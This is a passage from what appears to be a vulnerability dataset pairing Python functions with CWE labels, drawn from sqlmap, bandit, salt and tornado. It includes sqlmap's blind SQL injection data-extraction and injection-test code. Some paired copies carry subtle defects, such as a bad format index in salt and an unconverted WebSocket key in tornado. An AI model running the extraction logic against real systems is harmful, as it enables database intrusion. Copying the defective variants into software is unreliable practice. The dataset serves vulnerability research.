if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = ""increasing time delay to %d second%s"" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = ""turning off time auto-adjustment mechanism""
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = ""turning back on time auto-adjustment mechanism""
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
bits = {}
for candidate in candidates:
bit = 0
while candidate:
bits.setdefault(bit, 0)
bits[bit] += 1 if candidate & 1 else -1
candidate >>= 1
bit += 1
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
mask = 1 << choice
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, ""&%d%s"" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
else:
candidates = [_ for _ in candidates if _ & mask == 0]
bit += 1
if candidates:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(candidates[0])
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = "".."" + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + ""..""
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else "" "" * len(status)
dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = """".join(value[:value.index(None)])
if partialValue:
infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
else:
finalValue = """".join(value)
infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = """"
while True:
index += 1
# Common prediction feature (a.k.a. ""good samaritan"")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.escape(""%s"" % commonValue, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)%s%s"" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
if showEta:
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.escape(""%s"" % commonPattern, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, ""(%s)=%s"" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(index)
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
elif charsetType and partialValue[-1:].isspace():
finalValue = partialValue[:-1]
break
if (lastChar > 0 and index >= lastChar):
finalValue = """" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
retrievedLength = len(finalValue or """")
if finalValue is not None:
finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
infoMsg = ""\r[%s] [INFO] retrieved: %s %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(""\n"")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException(""something unexpected happened inside the threads"")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/node_visitor.py,0,"def load_buffer(self, fdata):
'''Buffer initialization
Read the file as lines, so we can store the length of the file
so we don't lose multi-line statements at the bottom of the target
file
:param fdata: The code to be parsed into the buffer
'''
self._buffer = []
self.skip_lines = []
lines = fdata.readlines()
self.file_len = len(lines)
for lineno in range(self.file_len):
found = False
for flag in constants.SKIP_FLAGS:
if ""#"" + flag in lines[lineno].replace("" "", """").lower():
found = True
if found:
self.skip_lines.append(lineno + 1)
f_ast = ast.parse("""".join(lines))
# We need to expand body blocks within compound statements
# into our statement buffer so each gets processed in
# isolation
tmp_buf = f_ast.body
while len(tmp_buf):
# For each statement, if it is one of the special statement
# types which contain a body, we first update the tmp_buf
# adding the internal body statements to the beginning of
# the temporary buffer, then clear the body of the special
# statement before adding it to the primary buffer
stmt = tmp_buf.pop(0)
if (isinstance(stmt, ast.ClassDef)
or isinstance(stmt, ast.FunctionDef)
or isinstance(stmt, ast.With)
or isinstance(stmt, ast.Module)
or isinstance(stmt, ast.Interactive)):
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
elif (isinstance(stmt, ast.For)
or isinstance(stmt, ast.While)
or isinstance(stmt, ast.If)):
stmt.body.extend(stmt.orelse)
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
stmt.orelse = []
elif isinstance(stmt, ast_Try):
for handler in getattr(stmt, 'handlers', []):
stmt.body.extend(handler.body)
stmt.body.extend(getattr(stmt, 'orelse', []))
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
stmt.orelse = []
stmt.handlers = []
stmt.finalbody = []
# once we are sure it's either a single statement or that
# any content in a compound statement body has been removed
# we can add it to our primary buffer. The compound body
# must be removed so the ast isn't walked multiple times
# and isn't included in line-by-line output
self._buffer.append(stmt)",UNKNOWN,PyCQA/bandit,36e28b331ade2a815c232cc8b6c0d4cc69b2f66d,"def load_buffer(self, fdata):
'''Buffer initialization
Read the file as lines, so we can store the length of the file
so we don't lose multi-line statements at the bottom of the target
file
:param fdata: The code to be parsed into the buffer
'''
self._buffer = []
self.skip_lines = []
lines = fdata.readlines()
self.file_len = len(lines)
for lineno in range(self.file_len):
found = False
for flag in constants.SKIP_FLAGS:
if ""#"" + flag in lines[lineno].replace("" "", """").lower():
found = True
if found:
self.skip_lines.append(lineno + 1)
f_ast = ast.parse("""".join(lines))
# We need to expand body blocks within compound statements
# into our statement buffer so each gets processed in
# isolation
tmp_buf = f_ast.body
while len(tmp_buf):
# For each statement, if it is one of the special statement
# types which contain a body, we first update the tmp_buf
# adding the internal body statements to the beginning of
# the temporary buffer, then clear the body of the special
# statement before adding it to the primary buffer
stmt = tmp_buf.pop(0)
if (isinstance(stmt, ast.ClassDef)
or isinstance(stmt, ast.FunctionDef)
or isinstance(stmt, ast.With)
or isinstance(stmt, ast.Module)
or isinstance(stmt, ast.Interactive)):
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
elif (isinstance(stmt, ast.For)
or isinstance(stmt, ast.While)
or isinstance(stmt, ast.If)):
stmt.body.extend(stmt.orelse)
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
stmt.orelse = []
elif isinstance(stmt, ast_Try):
for handler in getattr(stmt, 'handlers', []):
stmt.body.extend(handler.body)
stmt.body.extend(getattr(stmt, 'orelse', []))
stmt.body.extend(tmp_buf)
tmp_buf = stmt.body
stmt.body = []
stmt.orelse = []
stmt.handlers = []
stmt.finalbody = []
# once we are sure it's either a single statement or that
# any content in a compound statement body has been removed
# we can add it to our primary buffer. The compound body
# must be removed so the ast isn't walked multiple times
# and isn't included in line-by-line output
self._buffer.append(stmt)"
,UNKNOWN,UNKNOWN,salt/states/augeas.py,1,"def change(name, context=None, changes=None, lens=None, **kwargs):
'''
.. versionadded:: 2014.7.0
This state replaces :py:func:`~salt.states.augeas.setvalue`.
Issue changes to Augeas, optionally for a specific context, with a
specific lens.
name
State name
context
The context to use. Set this to a file path, prefixed by ``/files``, to
avoid redundancy, e.g.:
.. code-block:: yaml
redis-conf:
augeas.change:
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
- set maxmemory 1G
changes
List of changes that are issued to Augeas. Available commands are
``set``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.
lens
The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
the `list of stock lenses `_
shipped with Augeas.
Usage examples:
Set the ``bind`` parameter in ``/etc/redis/redis.conf``:
.. code-block:: yaml
redis-conf:
augeas.change:
- changes:
- set /files/etc/redis/redis.conf/bind 0.0.0.0
.. note::
Use the ``context`` parameter to specify the file you want to
manipulate. This way you don't have to include this in the changes
every time:
.. code-block:: yaml
redis-conf:
augeas.change:
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
- set databases 4
- set maxmemory 1G
Augeas is aware of a lot of common configuration files and their syntax.
It knows the difference between for example ini and yaml files, but also
files with very specific syntax, like the hosts file. This is done with
*lenses*, which provide mappings between the Augeas tree and the file.
There are many `preconfigured lenses`_ that come with Augeas by default,
and they specify the common locations for configuration files. So most
of the time Augeas will know how to manipulate a file. In the event that
you need to manipulate a file that Augeas doesn't know about, you can
specify the lens to use like this:
.. code-block:: yaml
redis-conf:
augeas.change:
- lens: redis
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
.. note::
Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
configuration file and knows how to parse it, it is recommended to
specify the lens anyway. This is because by default, Augeas loads all
known lenses and their associated file paths. All these files are
parsed when Augeas is loaded, which can take some time. When specifying
a lens, Augeas is loaded with only that lens, which speeds things up
quite a bit.
.. _preconfigured lenses: http://augeas.net/stock_lenses.html
A more complex example, this adds an entry to the services file for Zabbix,
and removes an obsolete service:
.. code-block:: yaml
zabbix-service:
augeas.change:
- lens: services
- context: /files/etc/services
- changes:
- ins service-name after service-name[last()]
- set service-name[last()] zabbix-agent
- set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
- set service-name[. = 'zabbix-agent']/port 10050
- set service-name[. = 'zabbix-agent']/protocol tcp
- rm service-name[. = 'im-obsolete']
- unless: grep ""zabbix-agent"" /etc/services
.. warning::
Don't forget the ``unless`` here, otherwise a new entry will be added
every time this state is run.
'''
ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}
if not changes or not isinstance(changes, list):
ret['comment'] = '\'changes\' must be specified as a list'
return ret
if __opts__['test']:
ret['result'] = None
ret['comment'] = 'Executing commands'
if context:
ret['comment'] += ' in file ""{0}"":\n'.format(context)
ret['comment'] += ""\n"".join(changes)
return ret
old_file = []
if context:
filename = re.sub('^/files|/$', '', context)
if os.path.isfile(filename):
with salt.utils.fopen(filename, 'r') as file_:
old_file = file_.readlines()
result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
ret['result'] = result['retval']
if ret['result'] is False:
ret['comment'] = 'Error: {0}'.format(result['error'])
return ret
if old_file:
with salt.utils.fopen(filename, 'r') as file_:
diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))
if diff:
ret['comment'] = 'Changes have been saved'
ret['changes'] = diff
else:
ret['comment'] = 'No changes made'
else:
ret['comment'] = 'Changes have been saved'
ret['changes'] = changes
return ret",CWE-605,saltstack/salt,db59dc16973e4ec315cccc4b6b16562681d35aae,"def change(name, context=None, changes=None, lens=None, **kwargs):
'''
.. versionadded:: 2014.7.0
This state replaces :py:func:`~salt.states.augeas.setvalue`.
Issue changes to Augeas, optionally for a specific context, with a
specific lens.
name
State name
context
The context to use. Set this to a file path, prefixed by ``/files``, to
avoid redundancy, e.g.:
.. code-block:: yaml
redis-conf:
augeas.change:
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
- set maxmemory 1G
changes
List of changes that are issued to Augeas. Available commands are
``set``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.
lens
The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
the `list of stock lenses `_
shipped with Augeas.
Usage examples:
Set the ``bind`` parameter in ``/etc/redis/redis.conf``:
.. code-block:: yaml
redis-conf:
augeas.change:
- changes:
- set /files/etc/redis/redis.conf/bind 0.0.0.0
.. note::
Use the ``context`` parameter to specify the file you want to
manipulate. This way you don't have to include this in the changes
every time:
.. code-block:: yaml
redis-conf:
augeas.change:
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
- set databases 4
- set maxmemory 1G
Augeas is aware of a lot of common configuration files and their syntax.
It knows the difference between for example ini and yaml files, but also
files with very specific syntax, like the hosts file. This is done with
*lenses*, which provide mappings between the Augeas tree and the file.
There are many `preconfigured lenses`_ that come with Augeas by default,
and they specify the common locations for configuration files. So most
of the time Augeas will know how to manipulate a file. In the event that
you need to manipulate a file that Augeas doesn't know about, you can
specify the lens to use like this:
.. code-block:: yaml
redis-conf:
augeas.change:
- lens: redis
- context: /files/etc/redis/redis.conf
- changes:
- set bind 0.0.0.0
.. note::
Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
configuration file and knows how to parse it, it is recommended to
specify the lens anyway. This is because by default, Augeas loads all
known lenses and their associated file paths. All these files are
parsed when Augeas is loaded, which can take some time. When specifying
a lens, Augeas is loaded with only that lens, which speeds things up
quite a bit.
.. _preconfigured lenses: http://augeas.net/stock_lenses.html
A more complex example, this adds an entry to the services file for Zabbix,
and removes an obsolete service:
.. code-block:: yaml
zabbix-service:
augeas.change:
- lens: services
- context: /files/etc/services
- changes:
- ins service-name after service-name[last()]
- set service-name[last()] zabbix-agent
- set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
- set service-name[. = 'zabbix-agent']/port 10050
- set service-name[. = 'zabbix-agent']/protocol tcp
- rm service-name[. = 'im-obsolete']
- unless: grep ""zabbix-agent"" /etc/services
.. warning::
Don't forget the ``unless`` here, otherwise a new entry will be added
every time this state is run.
'''
ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}
if not changes or not isinstance(changes, list):
ret['comment'] = '\'changes\' must be specified as a list'
return ret
if __opts__['test']:
ret['result'] = None
ret['comment'] = 'Executing commands'
if context:
ret['comment'] += ' in file ""{1}""'.format(context)
ret['comment'] += ""\n"".join(changes)
return ret
old_file = []
if context:
filename = re.sub('^/files|/$', '', context)
if os.path.isfile(filename):
with salt.utils.fopen(filename, 'r') as file_:
old_file = file_.readlines()
result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
ret['result'] = result['retval']
if ret['result'] is False:
ret['comment'] = 'Error: {0}'.format(result['error'])
return ret
if old_file:
with salt.utils.fopen(filename, 'r') as file_:
diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))
if diff:
ret['comment'] = 'Changes have been saved'
ret['changes'] = diff
else:
ret['comment'] = 'No changes made'
else:
ret['comment'] = 'Changes have been saved'
ret['changes'] = changes
return ret"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def __init__(
self,
request: httpclient.HTTPRequest,
on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
compression_options: Optional[Dict[str, Any]] = None,
ping_interval: Optional[float] = None,
ping_timeout: Optional[float] = None,
max_message_size: int = _default_max_message_size,
subprotocols: Optional[List[str]] = None,
resolver: Optional[Resolver] = None,
) -> None:
self.connect_future = Future() # type: Future[WebSocketClientConnection]
self.read_queue = Queue(1) # type: Queue[Union[None, str, bytes]]
self.key = base64.b64encode(os.urandom(16))
self._on_message_callback = on_message_callback
self.close_code = None # type: Optional[int]
self.close_reason = None # type: Optional[str]
self.params = _WebSocketParams(
ping_interval=ping_interval,
ping_timeout=ping_timeout,
max_message_size=max_message_size,
compression_options=compression_options,
)
scheme, sep, rest = request.url.partition("":"")
scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
request.url = scheme + sep + rest
request.headers.update(
{
""Upgrade"": ""websocket"",
""Connection"": ""Upgrade"",
""Sec-WebSocket-Key"": to_unicode(self.key),
""Sec-WebSocket-Version"": ""13"",
}
)
if subprotocols is not None:
request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
if compression_options is not None:
# Always offer to let the server set our max_wbits (and even though
# we don't offer it, we will accept a client_no_context_takeover
# from the server).
# TODO: set server parameters for deflate extension
# if requested in self.compression_options.
request.headers[""Sec-WebSocket-Extensions""] = (
""permessage-deflate; client_max_window_bits""
)
# Websocket connection is currently unable to follow redirects
request.follow_redirects = False
self.tcp_client = TCPClient(resolver=resolver)
super().__init__(
None,
request,
lambda: None,
self._on_http_response,
104857600,
self.tcp_client,
65536,
104857600,
)",CWE-Unknown,tornadoweb/tornado,e7dff512f8329dfc92590f144abbeaff55fce6ad,"def __init__(
self,
request: httpclient.HTTPRequest,
on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
compression_options: Optional[Dict[str, Any]] = None,
ping_interval: Optional[float] = None,
ping_timeout: Optional[float] = None,
max_message_size: int = _default_max_message_size,
subprotocols: Optional[List[str]] = None,
resolver: Optional[Resolver] = None,
) -> None:
self.connect_future = Future() # type: Future[WebSocketClientConnection]
self.read_queue = Queue(1) # type: Queue[Union[None, str, bytes]]
self.key = base64.b64encode(os.urandom(16))
self._on_message_callback = on_message_callback
self.close_code = None # type: Optional[int]
self.close_reason = None # type: Optional[str]
self.params = _WebSocketParams(
ping_interval=ping_interval,
ping_timeout=ping_timeout,
max_message_size=max_message_size,
compression_options=compression_options,
)
scheme, sep, rest = request.url.partition("":"")
scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
request.url = scheme + sep + rest
request.headers.update(
{
""Upgrade"": ""websocket"",
""Connection"": ""Upgrade"",
""Sec-WebSocket-Key"": self.key,
""Sec-WebSocket-Version"": ""13"",
}
)
if subprotocols is not None:
request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
if compression_options is not None:
# Always offer to let the server set our max_wbits (and even though
# we don't offer it, we will accept a client_no_context_takeover
# from the server).
# TODO: set server parameters for deflate extension
# if requested in self.compression_options.
request.headers[""Sec-WebSocket-Extensions""] = (
""permessage-deflate; client_max_window_bits""
)
# Websocket connection is currently unable to follow redirects
request.follow_redirects = False
self.tcp_client = TCPClient(resolver=resolver)
super().__init__(
None,
request,
lambda: None,
self._on_http_response,
104857600,
self.tcp_client,
65536,
104857600,
)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/checks.py,0,"def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
boundaries = kb.cache.alphaBoundaries
else:
boundaries = conf.boundaries
# Set the flag for SQL injection test mode
kb.testMode = True
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
tests = getSortedInjectionTests()
seenPayload = set()
kb.data.setdefault(""randomInt"", str(randomInt(10)))
kb.data.setdefault(""randomStr"", str(randomStr(10)))
while tests:
test = tests.pop(0)
try:
if kb.endDetection:
break
if conf.dbms is None:
# If the DBMS has not yet been fingerprinted (via simple heuristic check
# or via DBMS-specific payload) and boolean-based blind has been identified
# then attempt to identify with a simple DBMS specific boolean-based
# test what the DBMS may be
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
kb.heuristicDbms = heuristicCheckDbms(injection)
# If the DBMS has already been fingerprinted (via DBMS-specific
# error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
# If the DBMS has been fingerprinted (via DBMS-specific error
# message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = ""for the remaining tests, do you want to include all tests ""
msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
title = test.title
kb.testType = stype = test.stype
clause = test.clause
unionExtended = False
trueCode, falseCode = None, None
if conf.httpCollector is not None:
conf.httpCollector.setExtendedArguments({
""_title"": title,
""_place"": place,
""_parameter"": parameter,
})
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if ""[CHAR]"" in title:
if conf.uChar is None:
continue
else:
title = title.replace(""[CHAR]"", conf.uChar)
elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
title = title.replace(""[RANDNUM]"", ""random number"")
if test.request.columns == ""[COLSTART]-[COLSTOP]"":
if conf.uCols is None:
continue
else:
title = title.replace(""[COLSTART]"", str(conf.uColsStart))
title = title.replace(""[COLSTOP]"", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""provided custom column range %s"" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r""(\d+)-(\d+)"", test.request.columns)
if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
unionExtended = True
test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
title = re.sub(r""\b%d\b"" % _, str(__), title)
test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""specified to test only for ""
debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
debugMsg += ""already been identified""
logger.debug(debugMsg)
continue
# Parse DBMS-specific payloads' details
if ""details"" in test and ""dbms"" in test.details:
payloadDbms = test.details.dbms
else:
payloadDbms = None
# Skip tests if title, vector or DBMS is not included by the
# given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = ""skipping test '%s' because its "" % title
debugMsg += ""name/vector/DBMS is not included by the given filter""
logger.debug(debugMsg)
continue
# Skip tests if title, vector or DBMS is included by the
# given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = ""skipping test '%s' because its "" % title
debugMsg += ""name/vector/DBMS is included by the given skip filter""
logger.debug(debugMsg)
continue
if payloadDbms is not None:
# Skip DBMS-specific test if it does not match the user's
# provided DBMS
if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than provided""
logger.debug(debugMsg)
continue
if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than provided""
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific payload)
if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than identified""
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match the
